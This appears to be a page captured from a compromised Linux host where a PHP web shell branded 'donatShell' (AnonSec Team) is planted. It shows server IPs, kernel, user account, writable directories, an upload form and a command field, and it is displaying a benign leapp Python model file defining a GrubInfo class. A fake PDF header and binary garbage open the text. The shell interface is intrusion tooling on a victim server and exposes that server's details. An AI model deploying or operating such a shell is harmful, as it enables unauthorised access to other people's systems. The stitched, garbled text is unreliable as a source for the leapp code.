%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/models/grubinfo.py
from leapp.models import fields, Model
from leapp.topics import SystemFactsTopic


class GrubInfo(Model):
    """
    Information about Grub
    """
    topic = SystemFactsTopic

    # NOTE: @deprecated is not supported on fields
    # @deprecated(since='2023-06-23', message='This field has been replaced by orig_devices')
    orig_device_name = fields.Nullable(fields.String())
    """
    Original name of the block device where Grub is located.

    The name is persistent during the boot of the system so it's safe to be used during
    preupgrade phases. However the name could be different after the reboot, so
    it's recommended to use `leapp.libraries.common.grub.get_grub_device()` anywhere
    else.
    """

    orig_devices = fields.List(fields.String(), default=[])
    """
    Original names of the block devices where Grub is located.

    The names are persistent during the boot of the system so it's safe to be used during
    preupgrade phases. However the names could be different after the reboot, so
    it's recommended to use `leapp.libraries.common.grub.get_grub_devices()` everywhere
    else.
    """

Anon7 - 2022
AnonSec Team